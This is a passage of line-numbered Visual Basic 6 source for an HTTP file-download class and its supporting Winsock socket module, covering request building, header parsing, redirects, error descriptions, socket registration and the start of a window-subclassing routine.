1814Public Sub Download(Optional URL As Variant, Optional Destination As Variant)
1815On Error GoTo Error_Handler
1816Set cmSocket = New CSocketMaster
1817
1818If Not IsMissing(URL) Then
1819 m_strURL = Trim(URL)
1820End If
1821
1822If Not IsMissing(Destination) Then
1823 m_strDestination = Trim(Destination)
1824End If
1825
1826If m_acAccess = cdDirect Then
1827 cmSocket.Connect GetHostFromURL(m_strURL), 80
1828Else
1829 cmSocket.Connect m_strProxy, m_lngProxyPort
1830End If
1831
1832Exit Sub
1833Error_Handler:
1834 Reset
1835 RaiseEvent Error(Err.Number, Err.Description)
1836End Sub
1837
1838Public Sub Cancel()
1839Reset
1840End Sub
1841
1842
1843Private Sub cmSocket_Connect()
1844On Error GoTo Error_Handler
1845
1846'Create the destination file
1847If Dir(m_strDestination, vbHidden + vbArchive + vbNormal + vbReadOnly + vbSystem) = GetFileFromPath(m_strDestination) Then SetAttr m_strDestination, vbNormal: Kill m_strDestination
1848m_intFileHandle = FreeFile
1849Open m_strDestination For Binary Lock Read Write As m_intFileHandle
1850
1851Dim strCommand As String
1852
1853strCommand = "GET " + GetFileFromURL(m_strURL) + " HTTP/1.0" + vbCrLf
1854strCommand = strCommand + "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*" + vbCrLf
1855strCommand = strCommand + "Referer: " + GetHostFromURL(m_strURL) + vbCrLf
1856strCommand = strCommand + "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" + vbCrLf
1857strCommand = strCommand + "Host: " + GetHostFromURL(m_strURL) + vbCrLf
1858strCommand = strCommand + vbCrLf
1859
1860cmSocket.SendData strCommand
1861
1862Exit Sub
1863Error_Handler:
1864 Reset
1865 RaiseEvent Error(Err.Number, Err.Description)
1866End Sub
1867
1868Private Sub cmSocket_DataArrival(ByVal bytesTotal As Long)
1869On Error GoTo Error_Handler
1870Dim strChunk As String
1871cmSocket.GetData strChunk
1872
1873'if header hasn't arrived
1874If m_blnHeaderArrived = False Then
1875
1876 m_strHeader = m_strHeader & strChunk
1877
1878 Dim lngSplit As Long
1879 lngSplit = InStr(1, m_strHeader, vbCrLf + vbCrLf)
1880
1881 'has the header finished on this chunk?
1882 If lngSplit = 0 Or lngSplit = Null Then Exit Sub
1883
1884 'yes! the header has finished
1885 m_blnHeaderArrived = True
1886
1887 'maybe this chunk is half header and half file
1888 'we split the two
1889 strChunk = Right(m_strHeader, Len(m_strHeader) - lngSplit - 3)
1890 m_strHeader = Left(m_strHeader, lngSplit + 3)
1891
1892 'is redirection enabled?
1893 If m_blnRedirDisabled = False Then
1894 Dim strLocation As String
1895 strLocation = GetVariableValue(m_strHeader, "Location")
1896 'does the header indicates a redirection?
1897 If strLocation <> "" Then
1898 Reset
1899 m_strURL = strLocation
1900 Download
1901 Exit Sub
1902 End If
1903 End If
1904
1905 Dim strFileSize As String
1906
1907 strFileSize = GetVariableValue(m_strHeader, "Content-Length")
1908 If strFileSize = "" Then
1909 m_lngFileSize = 0
1910 Else
1911 m_lngFileSize = Val(strFileSize)
1912 End If
1913
1914 RaiseEvent Starting(m_lngFileSize, m_strHeader)
1915End If
1916
1917'if header has arrived
1918
1919Put m_intFileHandle, LOF(m_intFileHandle) + 1, strChunk
1920
1921RaiseEvent DataArrival(Len(strChunk))
1922
1923Exit Sub
1924Error_Handler:
1925 Reset
1926 RaiseEvent Error(Err.Number, Err.Description)
1927End Sub
1928
1929Private Sub cmSocket_CloseSck()
1930
1931'some web pages don't have headers so we have to
1932'raise all the events that couldn't be raised while
1933'the file was downloading
1934If m_blnHeaderArrived = False Then
1935
1936 Dim strdata As String
1937 strdata = m_strHeader
1938 m_strHeader = ""
1939
1940 RaiseEvent Starting(Len(strdata), "")
1941 Put m_intFileHandle, LOF(m_intFileHandle) + 1, strdata
1942
1943 RaiseEvent DataArrival(Len(strdata))
1944End If
1945
1946Reset
1947RaiseEvent Completed
1948End Sub
1949
1950'Ups! We got an error
1951Private Sub cmSocket_Error(ByVal Number As Integer, Description As String, ByVal sCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
1952Reset
1953RaiseEvent Error(Number, Description)
1954End Sub
1955
1956'returns the host from an URL
1957'ie: 'http://www.yahoo.com/file.txt' => 'www.yahoo.com'
1958Private Function GetHostFromURL(ByVal strURL As String) As String
1959
1960strURL = Trim(strURL)
1961If Left(strURL, 7) = "http://" Then strURL = Mid(strURL, 8, Len(strURL) - 7)
1962
1963Dim Init As Integer
1964Init = InStr(1, strURL, "/", vbTextCompare)
1965
1966If Init <> 0 Then strURL = Left(strURL, Init - 1)
1967GetHostFromURL = strURL
1968
1969End Function
1970
1971'get the file part from an URL that goes after the
1972'GET command to download files IF IT IS NOT USING PROXY
1973'ie: 'http://www.yahoo.com/file.txt' => '/file.txt'
1974Private Function GetFileFromURL(ByVal strURL As String) As String
1975
1976If m_acAccess = cdNamedProxy Then
1977 GetFileFromURL = strURL
1978 Exit Function
1979End If
1980
1981If Left(strURL, 7) = "http://" Then strURL = Right(strURL, Len(strURL) - 7)
1982Dim Init As Integer
1983Init = InStr(1, strURL, "/", vbTextCompare)
1984If Init = 0 Or Init = Null Then
1985 GetFileFromURL = "/"
1986Else
1987 GetFileFromURL = Right(strURL, Len(strURL) - Init + 1)
1988End If
1989End Function
1990
1991'get file part from a path
1992'ie: 'c:\folder\file.txt' => 'file.txt'
1993Private Function GetFileFromPath(ByVal strPath As String) As String
1994GetFileFromPath = strPath
1995If InStr(1, strPath, "\", vbTextCompare) = 0 Then Exit Function
1996Dim Position As Long
1997Position = 1
1998Do Until (Mid(strPath, Len(strPath) - Position, 1) = "\")
1999 Position = Position + 1
2000Loop
2001GetFileFromPath = Right(strPath, Position)
2002End Function
2003
2004'get variable value from the header
2005Private Function GetVariableValue(ByRef strHeader As String, ByVal strVariable As String) As String
2006Dim Init As Long
2007Dim Last As Long
2008
2009Init = InStr(1, strHeader, strVariable, vbTextCompare)
2010
2011If Init = 0 Or Init = Null Then
2012 GetVariableValue = ""
2013 Exit Function
2014End If
2015
2016Init = Init + Len(strVariable) + 1
2017Last = InStr(Init, strHeader, vbCrLf, vbTextCompare)
2018
2019
2020GetVariableValue = Trim(Mid(strHeader, Init, Last - Init))
2021
2022End Function
2023
2024'reset variables
2025Private Sub Reset()
2026Set cmSocket = Nothing
2027m_strHeader = ""
2028m_blnHeaderArrived = False
2029If m_intFileHandle <> 0 Then Close #m_intFileHandle
2030m_intFileHandle = 0
2031m_lngFileSize = 0
2032End Sub
2033Option Explicit
2034Public Declare Sub api_CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
2035Public Declare Function api_WSAGetLastError Lib "ws2_32.dll" Alias "WSAGetLastError" () As Long
2036Public Declare Function api_GlobalAlloc Lib "kernel32" Alias "GlobalAlloc" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
2037Public Declare Function api_GlobalFree Lib "kernel32" Alias "GlobalFree" (ByVal hMem As Long) As Long
2038Private Declare Function api_WSAStartup Lib "ws2_32.dll" Alias "WSAStartup" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long
2039Private Declare Function api_WSACleanup Lib "ws2_32.dll" Alias "WSACleanup" () As Long
2040Private Declare Function api_WSAAsyncGetHostByName Lib "ws2_32.dll" Alias "WSAAsyncGetHostByName" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal strHostName As String, buf As Any, ByVal buflen As Long) As Long
2041Private Declare Function api_WSAAsyncSelect Lib "wsock32.dll" Alias "WSAAsyncSelect" (ByVal s As Long, ByVal hwnd As Long, ByVal wMsg As Long, ByVal lEvent As Long) As Long
2042Private Declare Function api_CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
2043Private Declare Function api_DestroyWindow Lib "user32" Alias "DestroyWindow" (ByVal hwnd As Long) As Long
2044Private Declare Function api_lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Any) As Long
2045Private Declare Function api_lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
2046Public Const SOCKET_ERROR As Integer = -1
2047Public Const INVALID_SOCKET As Integer = -1
2048Public Const INADDR_NONE As Long = &HFFFF
2049Private Const WSADESCRIPTION_LEN As Integer = 257
2050Private Const WSASYS_STATUS_LEN As Integer = 129
2051Private Enum WinsockVersion
2052SOCKET_VERSION_11 = &H101
2053SOCKET_VERSION_22 = &H202
2054End Enum
2055Public Const MAXGETHOSTSTRUCT = 1024
2056Public Const AF_INET As Long = 2
2057Public Const SOCK_STREAM As Long = 1
2058Public Const SOCK_DGRAM As Long = 2
2059Public Const IPPROTO_TCP As Long = 6
2060Public Const IPPROTO_UDP As Long = 17
2061
2062Public Const FD_READ = &H1&
2063Public Const FD_WRITE = &H2&
2064Public Const FD_ACCEPT = &H8&
2065Public Const FD_CONNECT = &H10&
2066Public Const FD_CLOSE = &H20&
2067
2068Private Const OFFSET_2 = 65536
2069Private Const MAXINT_2 = 32767
2070
2071Public Const GMEM_FIXED = &H0
2072Public Const LOCAL_HOST_BUFF As Integer = 256
2073Public Const SOL_SOCKET As Long = 65535
2074Public Const SO_SNDBUF As Long = &H1001&
2075Public Const SO_RCVBUF As Long = &H1002&
2076Public Const SO_MAX_MSG_SIZE As Long = &H2003
2077Public Const SO_BROADCAST As Long = &H20
2078Public Const FIONREAD As Long = &H4004667F
2079Public Const WSABASEERR As Long = 10000
2080Public Const WSAEINTR As Long = (WSABASEERR + 4)
2081Public Const WSAEACCES As Long = (WSABASEERR + 13)
2082Public Const WSAEFAULT As Long = (WSABASEERR + 14)
2083Public Const WSAEINVAL As Long = (WSABASEERR + 22)
2084Public Const WSAEMFILE As Long = (WSABASEERR + 24)
2085Public Const WSAEWOULDBLOCK As Long = (WSABASEERR + 35)
2086Public Const WSAEINPROGRESS As Long = (WSABASEERR + 36)
2087Public Const WSAEALREADY As Long = (WSABASEERR + 37)
2088Public Const WSAENOTSOCK As Long = (WSABASEERR + 38)
2089Public Const WSAEDESTADDRREQ As Long = (WSABASEERR + 39)
2090Public Const WSAEMSGSIZE As Long = (WSABASEERR + 40)
2091Public Const WSAEPROTOTYPE As Long = (WSABASEERR + 41)
2092Public Const WSAENOPROTOOPT As Long = (WSABASEERR + 42)
2093Public Const WSAEPROTONOSUPPORT As Long = (WSABASEERR + 43)
2094Public Const WSAESOCKTNOSUPPORT As Long = (WSABASEERR + 44)
2095Public Const WSAEOPNOTSUPP As Long = (WSABASEERR + 45)
2096Public Const WSAEPFNOSUPPORT As Long = (WSABASEERR + 46)
2097Public Const WSAEAFNOSUPPORT As Long = (WSABASEERR + 47)
2098Public Const WSAEADDRINUSE As Long = (WSABASEERR + 48)
2099Public Const WSAEADDRNOTAVAIL As Long = (WSABASEERR + 49)
2100Public Const WSAENETDOWN As Long = (WSABASEERR + 50)
2101Public Const WSAENETUNREACH As Long = (WSABASEERR + 51)
2102Public Const WSAENETRESET As Long = (WSABASEERR + 52)
2103Public Const WSAECONNABORTED As Long = (WSABASEERR + 53)
2104Public Const WSAECONNRESET As Long = (WSABASEERR + 54)
2105Public Const WSAENOBUFS As Long = (WSABASEERR + 55)
2106Public Const WSAEISCONN As Long = (WSABASEERR + 56)
2107Public Const WSAENOTCONN As Long = (WSABASEERR + 57)
2108Public Const WSAESHUTDOWN As Long = (WSABASEERR + 58)
2109Public Const WSAETIMEDOUT As Long = (WSABASEERR + 60)
2110Public Const WSAEHOSTUNREACH As Long = (WSABASEERR + 65)
2111Public Const WSAECONNREFUSED As Long = (WSABASEERR + 61)
2112Public Const WSAEPROCLIM As Long = (WSABASEERR + 67)
2113Public Const WSASYSNOTREADY As Long = (WSABASEERR + 91)
2114Public Const WSAVERNOTSUPPORTED As Long = (WSABASEERR + 92)
2115Public Const WSANOTINITIALISED As Long = (WSABASEERR + 93)
2116Public Const WSAHOST_NOT_FOUND As Long = (WSABASEERR + 1001)
2117Public Const WSATRY_AGAIN As Long = (WSABASEERR + 1002)
2118Public Const WSANO_RECOVERY As Long = (WSABASEERR + 1003)
2119Public Const WSANO_DATA As Long = (WSABASEERR + 1004)
2120Public Const sckOutOfMemory = 7
2121Public Const sckBadState = 40006
2122Public Const sckInvalidArg = 40014
2123Public Const sckUnsupported = 40018
2124Public Const sckInvalidOp = 40020
2125Private Type WSAData
2126 wVersion As Integer
2127 wHighVersion As Integer
2128 szDescription As String * WSADESCRIPTION_LEN
2129 szSystemStatus As String * WSASYS_STATUS_LEN
2130 iMaxSockets As Integer
2131 iMaxUdpDg As Integer
2132 lpVendorInfo As Long
2133End Type
2134
2135Public Type HOSTENT
2136 hName As Long
2137 hAliases As Long
2138 hAddrType As Integer
2139 hLength As Integer
2140 hAddrList As Long
2141End Type
2142
2143Public Type sockaddr_in
2144 sin_family As Integer
2145 sin_port As Integer
2146 sin_addr As Long
2147 sin_zero(1 To 8) As Byte
2148End Type
2149Private m_blnInitiated As Boolean 'specify if winsock service was initiated
2150Private m_lngSocksQuantity As Long 'number of instances created
2151Private m_colSocketsInst As Collection 'sockets list and instance owner
2152Private m_colAcceptList As Collection 'sockets in queue that need to be accepted
2153Private m_lngWindowHandle As Long 'message window handle
2154Private Declare Function api_IsWindow Lib "user32" Alias "IsWindow" (ByVal hwnd As Long) As Long
2155Private Declare Function api_GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
2156Private Declare Function api_SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
2157Private Declare Function api_GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
2158Private Declare Function api_GetProcAddress Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long
2159Private Const PATCH_06 As Long = 106
2160Private Const PATCH_09 As Long = 137
2161Private Const GWL_WNDPROC = (-4)
2162Private Const WM_USER = &H400
2163
2164Public Const RESOLVE_MESSAGE As Long = WM_USER + &H400
2165Public Const SOCKET_MESSAGE As Long = WM_USER + &H401
2166
2167Private lngMsgCntA As Long 'TableA entry count
2168Private lngMsgCntB As Long 'TableB entry count
2169Private lngTableA1() As Long 'TableA1: list of async handles
2170Private lngTableA2() As Long 'TableA2: list of async handles owners
2171Private lngTableB1() As Long 'TableB1: list of sockets
2172Private lngTableB2() As Long 'TableB2: list of sockets owners
2173Private hWndSub As Long 'window handle subclassed
2174Private nAddrSubclass As Long 'address of our WndProc
2175Private nAddrOriginal As Long 'address of original WndProc
2176
2177
2178'This function initiates the processes needed to keep
2179'control of sockets. Returns 0 if it has success.
2180Public Function InitiateProcesses() As Long
2181
2182InitiateProcesses = 0
2183m_lngSocksQuantity = m_lngSocksQuantity + 1
2184
2185'if the service wasn't initiated yet we do it now
2186If Not m_blnInitiated Then
2187
2188 Subclass_Initialize
2189
2190 m_blnInitiated = True
2191
2192 Dim lngResult As Long
2193 lngResult = InitiateService
2194
2195 If lngResult = 0 Then
2196 Debug.Print "OK Winsock service initiated"
2197 Else
2198 Debug.Print "ERROR trying to initiate winsock service"
2199 Err.Raise lngResult, "modSocketMaster.InitiateProcesses", GetErrorDescription(lngResult)
2200 InitiateProcesses = lngResult
2201 End If
2202
2203End If
2204End Function
2205
2206'This function initiate the winsock service calling
2207'the api_WSAStartup funtion and returns resulting value.
2208Private Function InitiateService() As Long
2209Dim udtWSAData As WSAData
2210Dim lngResult As Long
2211
2212lngResult = api_WSAStartup(SOCKET_VERSION_11, udtWSAData)
2213InitiateService = lngResult
2214End Function
2215
2216'Once we are done with the class instance we call this
2217'function to discount it and finish winsock service if
2218'it was the last one.
2219'Returns 0 if it has success.
2220Public Function FinalizeProcesses() As Long
2221FinalizeProcesses = 0
2222m_lngSocksQuantity = m_lngSocksQuantity - 1
2223
2224'if the service was initiated and there's no more instances
2225'of the class then we finish the service
2226If m_blnInitiated And m_lngSocksQuantity = 0 Then
2227 If FinalizeService = SOCKET_ERROR Then
2228 Dim lngErrorCode As Long
2229 lngErrorCode = Err.LastDllError
2230 FinalizeProcesses = lngErrorCode
2231 Err.Raise lngErrorCode, "modSocketMaster.FinalizeProcesses", GetErrorDescription(lngErrorCode)
2232 Else
2233 Debug.Print "OK Winsock service finalized"
2234 End If
2235
2236 Subclass_Terminate
2237 m_blnInitiated = False
2238End If
2239
2240End Function
2241
2242'Finish winsock service calling the function
2243'api_WSACleanup and returns the result.
2244Private Function FinalizeService() As Long
2245Dim lngResultado As Long
2246lngResultado = api_WSACleanup
2247FinalizeService = lngResultado
2248End Function
2249
2250'This function receives a number that represents an error
2251'and returns the corresponding description string.
2252Public Function GetErrorDescription(ByVal lngErrorCode As Long) As String
2253Select Case lngErrorCode
2254 Case WSAEACCES
2255 GetErrorDescription = "Permission denied."
2256 Case WSAEADDRINUSE
2257 GetErrorDescription = "Address already in use."
2258 Case WSAEADDRNOTAVAIL
2259 GetErrorDescription = "Cannot assign requested address."
2260 Case WSAEAFNOSUPPORT
2261 GetErrorDescription = "Address family not supported by protocol family."
2262 Case WSAEALREADY
2263 GetErrorDescription = "Operation already in progress."
2264 Case WSAECONNABORTED
2265 GetErrorDescription = "Software caused connection abort."
2266 Case WSAECONNREFUSED
2267 GetErrorDescription = "Connection refused."
2268 Case WSAECONNRESET
2269 GetErrorDescription = "Connection reset by peer."
2270 Case WSAEDESTADDRREQ
2271 GetErrorDescription = "Destination address required."
2272 Case WSAEFAULT
2273 GetErrorDescription = "Bad address."
2274 Case WSAEHOSTUNREACH
2275 GetErrorDescription = "No route to host."
2276 Case WSAEINPROGRESS
2277 GetErrorDescription = "Operation now in progress."
2278 Case WSAEINTR
2279 GetErrorDescription = "Interrupted function call."
2280 Case WSAEINVAL
2281 GetErrorDescription = "Invalid argument."
2282 Case WSAEISCONN
2283 GetErrorDescription = "Socket is already connected."
2284 Case WSAEMFILE
2285 GetErrorDescription = "Too many open files."
2286 Case WSAEMSGSIZE
2287 GetErrorDescription = "Message too long."
2288 Case WSAENETDOWN
2289 GetErrorDescription = "Network is down."
2290 Case WSAENETRESET
2291 GetErrorDescription = "Network dropped connection on reset."
2292 Case WSAENETUNREACH
2293 GetErrorDescription = "Network is unreachable."
2294 Case WSAENOBUFS
2295 GetErrorDescription = "No buffer space available."
2296 Case WSAENOPROTOOPT
2297 GetErrorDescription = "Bad protocol option."
2298 Case WSAENOTCONN
2299 GetErrorDescription = "Socket is not connected."
2300 Case WSAENOTSOCK
2301 GetErrorDescription = "Socket operation on nonsocket."
2302 Case WSAEOPNOTSUPP
2303 GetErrorDescription = "Operation not supported."
2304 Case WSAEPFNOSUPPORT
2305 GetErrorDescription = "Protocol family not supported."
2306 Case WSAEPROCLIM
2307 GetErrorDescription = "Too many processes."
2308 Case WSAEPROTONOSUPPORT
2309 GetErrorDescription = "Protocol not supported."
2310 Case WSAEPROTOTYPE
2311 GetErrorDescription = "Protocol wrong type for socket."
2312 Case WSAESHUTDOWN
2313 GetErrorDescription = "Cannot send after socket shutdown."
2314 Case WSAESOCKTNOSUPPORT
2315 GetErrorDescription = "Socket type not supported."
2316 Case WSAETIMEDOUT
2317 GetErrorDescription = "Connection timed out."
2318 Case WSAEWOULDBLOCK
2319 GetErrorDescription = "Resource temporarily unavailable."
2320 Case WSAHOST_NOT_FOUND
2321 GetErrorDescription = "Host not found."
2322 Case WSANOTINITIALISED
2323 GetErrorDescription = "Successful WSAStartup not yet performed."
2324 Case WSANO_DATA
2325 GetErrorDescription = "Valid name, no data record of requested type."
2326 Case WSANO_RECOVERY
2327 GetErrorDescription = "This is a nonrecoverable error."
2328 Case WSASYSNOTREADY
2329 GetErrorDescription = "Network subsystem is unavailable."
2330 Case WSATRY_AGAIN
2331 GetErrorDescription = "Nonauthoritative host not found."
2332 Case WSAVERNOTSUPPORTED
2333 GetErrorDescription = "Winsock.dll version out of range."
2334 Case Else
2335 GetErrorDescription = "Unknown error."
2336End Select
2337
2338End Function
2339
2340'Create a window that is used to capture sockets messages.
2341'Returns 0 if it has success.
2342Private Function CreateWinsockMessageWindow() As Long
2343m_lngWindowHandle = api_CreateWindowEx(0&, "STATIC", "SOCKET_WINDOW", 0&, 0&, 0&, 0&, 0&, 0&, 0&, App.hInstance, ByVal 0&)
2344
2345If m_lngWindowHandle = 0 Then
2346 CreateWinsockMessageWindow = sckOutOfMemory
2347 Exit Function
2348Else
2349 CreateWinsockMessageWindow = 0
2350 Debug.Print "OK Created winsock message window " & m_lngWindowHandle
2351End If
2352End Function
2353
2354'Destroy the window that is used to capture sockets messages.
2355'Returns 0 if it has success.
2356Private Function DestroyWinsockMessageWindow() As Long
2357DestroyWinsockMessageWindow = 0
2358
2359If m_lngWindowHandle = 0 Then
2360 Debug.Print "WARNING lngWindowHandle is ZERO"
2361 Exit Function
2362End If
2363
2364Dim lngResult As Long
2365
2366lngResult = api_DestroyWindow(m_lngWindowHandle)
2367
2368If lngResult = 0 Then
2369 DestroyWinsockMessageWindow = sckOutOfMemory
2370 Err.Raise sckOutOfMemory, "modSocketMaster.DestroyWinsockMessageWindow", "Out of memory"
2371Else
2372 Debug.Print "OK Destroyed winsock message window " & m_lngWindowHandle
2373 m_lngWindowHandle = 0
2374End If
2375
2376End Function
2377
2378'When a socket needs to resolve a hostname in asynchronous way
2379'it calls this function. If it has success it returns a nonzero
2380'number that represents the async task handle and register this
2381'number in the TableA list.
2382'Returns 0 if it fails.
2383Public Function ResolveHost(ByVal strHost As String, ByVal lngHOSTENBuf As Long, ByVal lngObjectPointer As Long) As Long
2384Dim lngAsynHandle As Long
2385lngAsynHandle = api_WSAAsyncGetHostByName(m_lngWindowHandle, RESOLVE_MESSAGE, strHost, ByVal lngHOSTENBuf, MAXGETHOSTSTRUCT)
2386If lngAsynHandle <> 0 Then Subclass_AddResolveMessage lngAsynHandle, lngObjectPointer
2387ResolveHost = lngAsynHandle
2388End Function
2389
2390'Returns the hi word from a double word.
2391Public Function HiWord(lngValue As Long) As Long
2392If (lngValue And &H80000000) = &H80000000 Then
2393 HiWord = ((lngValue And &H7FFF0000) \ &H10000) Or &H8000&
2394Else
2395 HiWord = (lngValue And &HFFFF0000) \ &H10000
2396End If
2397End Function
2398
2399'Returns the low word from a double word.
2400Public Function LoWord(lngValue As Long) As Long
2401LoWord = (lngValue And &HFFFF&)
2402End Function
2403
2404'Receives a string pointer and it turns it into a regular string.
2405Public Function StringFromPointer(ByVal lPointer As Long) As String
2406Dim strTemp As String
2407Dim lRetVal As Long
2408
2409strTemp = String$(api_lstrlen(ByVal lPointer), 0)
2410lRetVal = api_lstrcpy(ByVal strTemp, ByVal lPointer)
2411If lRetVal Then StringFromPointer = strTemp
2412End Function
2413
2414'The function takes an unsigned Integer from and API andÂ
2415'converts it to a Long for display or arithmetic purposes
2416Public Function UnsignedToInteger(Value As Long) As Integer
2417If Value < 0 Or Value >= OFFSET_2 Then Error 6 ' Overflow
2418If Value <= MAXINT_2 Then
2419 UnsignedToInteger = Value
2420Else
2421 UnsignedToInteger = Value - OFFSET_2
2422End If
2423End Function
2424
2425'The function takes a Long containing a value in the rangeÂ
2426'of an unsigned Integer and returns an Integer that youÂ
2427'can pass to an API that requires an unsigned Integer
2428Public Function IntegerToUnsigned(Value As Integer) As Long
2429If Value < 0 Then
2430 IntegerToUnsigned = Value + OFFSET_2
2431Else
2432 IntegerToUnsigned = Value
2433End If
2434End Function
2435
2436'Adds the socket to the m_colSocketsInst collection, and
2437'registers that socket with WSAAsyncSelect Winsock API
2438'function to receive network events for the socket.
2439'If this socket is the first one to be registered, the
2440'window and collection will be created in this function as well.
2441Public Function RegisterSocket(ByVal lngSocket As Long, ByVal lngObjectPointer As Long, ByVal blnEvents As Boolean) As Boolean
2442
2443If m_colSocketsInst Is Nothing Then
2444 Set m_colSocketsInst = New Collection
2445 Debug.Print "OK Created socket collection"
2446
2447 If CreateWinsockMessageWindow <> 0 Then
2448 Err.Raise sckOutOfMemory, "modSocketMaster.RegisterSocket", "Out of memory"
2449 End If
2450
2451 Subclass_Subclass (m_lngWindowHandle)
2452
2453End If
2454
2455Subclass_AddSocketMessage lngSocket, lngObjectPointer
2456
2457'Do we need to register socket events?
2458If blnEvents Then
2459 Dim lngEvents As Long
2460 Dim lngResult As Long
2461 Dim lngErrorCode As Long
2462
2463 lngEvents = FD_READ Or FD_WRITE Or FD_ACCEPT Or FD_CONNECT Or FD_CLOSE
2464 lngResult = api_WSAAsyncSelect(lngSocket, m_lngWindowHandle, SOCKET_MESSAGE, lngEvents)
2465
2466 If lngResult = SOCKET_ERROR Then
2467 Debug.Print "ERROR trying to register events from socket " & lngSocket
2468 lngErrorCode = Err.LastDllError
2469 Err.Raise lngErrorCode, "modSocketMaster.RegisterSocket", GetErrorDescription(lngErrorCode)
2470 Else
2471 Debug.Print "OK Registered events from socket " & lngSocket
2472 End If
2473End If
2474
2475m_colSocketsInst.Add lngObjectPointer, "S" & lngSocket
2476RegisterSocket = True
2477End Function
2478
2479'Removes the socket from the m_colSocketsInst collection
2480'If it is the last socket in that collection, the window
2481'and colection will be destroyed as well.
2482Public Sub UnregisterSocket(ByVal lngSocket As Long)
2483Subclass_DelSocketMessage lngSocket
2484On Error Resume Next
2485m_colSocketsInst.Remove "S" & lngSocket
2486
2487If m_colSocketsInst.Count = 0 Then
2488 Set m_colSocketsInst = Nothing
2489 Subclass_UnSubclass
2490 DestroyWinsockMessageWindow
2491 Debug.Print "OK Destroyed socket collection"
2492End If
2493End Sub
2494
2495'Returns TRUE si the socket that is passed is registered
2496'in the colSocketsInst collection.
2497Public Function IsSocketRegistered(ByVal lngSocket As Long) As Boolean
2498On Error GoTo Error_Handler
2499
2500m_colSocketsInst.Item ("S" & lngSocket)
2501IsSocketRegistered = True
2502
2503Exit Function
2504
2505Error_Handler:
2506 IsSocketRegistered = False
2507End Function
2508
2509'When ResolveHost is called an async task handle is added
2510'to TableA list. Use this function to remove that record.
2511Public Sub UnregisterResolution(ByVal lngAsynHandle As Long)
2512Subclass_DelResolveMessage lngAsynHandle
2513End Sub
2514
2515'It turns a CSocketMaster instance pointer into an actual instance.
2516Private Function SocketObjectFromPointer(ByVal lngPointer As Long) As CSocketMaster
2517
2518Dim objSocket As CSocketMaster
2519
2520api_CopyMemory objSocket, lngPointer, 4&
2521Set SocketObjectFromPointer = objSocket
2522api_CopyMemory objSocket, 0&, 4&
2523
2524End Function
2525
2526'Assing a temporal instance of CSocketMaster to a
2527'socket and register this socket to the accept list.
2528Public Sub RegisterAccept(ByVal lngSocket As Long)
2529If m_colAcceptList Is Nothing Then
2530 Set m_colAcceptList = New Collection
2531 Debug.Print "OK Created accept collection"
2532End If
2533Dim Socket As CSocketMaster
2534Set Socket = New CSocketMaster
2535Socket.Accept lngSocket
2536m_colAcceptList.Add Socket, "S" & lngSocket
2537End Sub
2538
2539'Returns True is lngSocket is registered on the
2540'accept list.
2541Public Function IsAcceptRegistered(ByVal lngSocket As Long) As Boolean
2542On Error GoTo Error_Handler
2543
2544m_colAcceptList.Item ("S" & lngSocket)
2545IsAcceptRegistered = True
2546
2547Exit Function
2548
2549Error_Handler:
2550 IsAcceptRegistered = False
2551End Function
2552
2553'Unregister lngSocket from the accept list.
2554Public Sub UnregisterAccept(ByVal lngSocket As Long)
2555m_colAcceptList.Remove "S" & lngSocket
2556
2557If m_colAcceptList.Count = 0 Then
2558 Set m_colAcceptList = Nothing
2559 Debug.Print "OK Destroyed accept collection"
2560End If
2561End Sub
2562
2563'Return the accept instance class from a socket.
2564Public Function GetAcceptClass(ByVal lngSocket As Long) As CSocketMaster
2565Set GetAcceptClass = m_colAcceptList("S" & lngSocket)
2566End Function
2567
2568
2569'==============================================================================
2570'SUBCLASSING CODE
2571'based on code by Paul Caton
2572'==============================================================================
2573
2574Private Sub Subclass_Initialize()
2575Const PATCH_01 As Long = 15 'Code buffer offset to the location of the relative address to EbMode
2576Const PATCH_03 As Long = 76 'Relative address of SetWindowsLong
2577Const PATCH_05 As Long = 100 'Relative address of CallWindowProc
2578Const FUNC_EBM As String = "EbMode" 'VBA's EbMode function allows the machine code thunk to know if the IDE has stopped or is on a breakpoint
2579Const FUNC_SWL As String = "SetWindowLongA" 'SetWindowLong allows the cSubclasser machine code thunk to unsubclass the subclasser itself if it detects via the EbMode function that the IDE has stopped
2580Const FUNC_CWP As String = "CallWindowProcA" 'We use CallWindowProc to call the original WndProc
2581Const MOD_VBA5 As String = "vba5" 'Location of the EbMode function if running VB5
2582Const MOD_VBA6 As String = "vba6" 'Location of the EbMode function if running VB6
2583Const MOD_USER As String = "user32" 'Location of the SetWindowLong & CallWindowProc functions
2584 Dim i As Long 'Loop index
2585 Dim nLen As Long 'String lengths
2586 Dim sHex As String 'Hex code string
2587 Dim sCode As String 'Binary code string
2588
2589 'Store the hex pair machine code representation in sHex
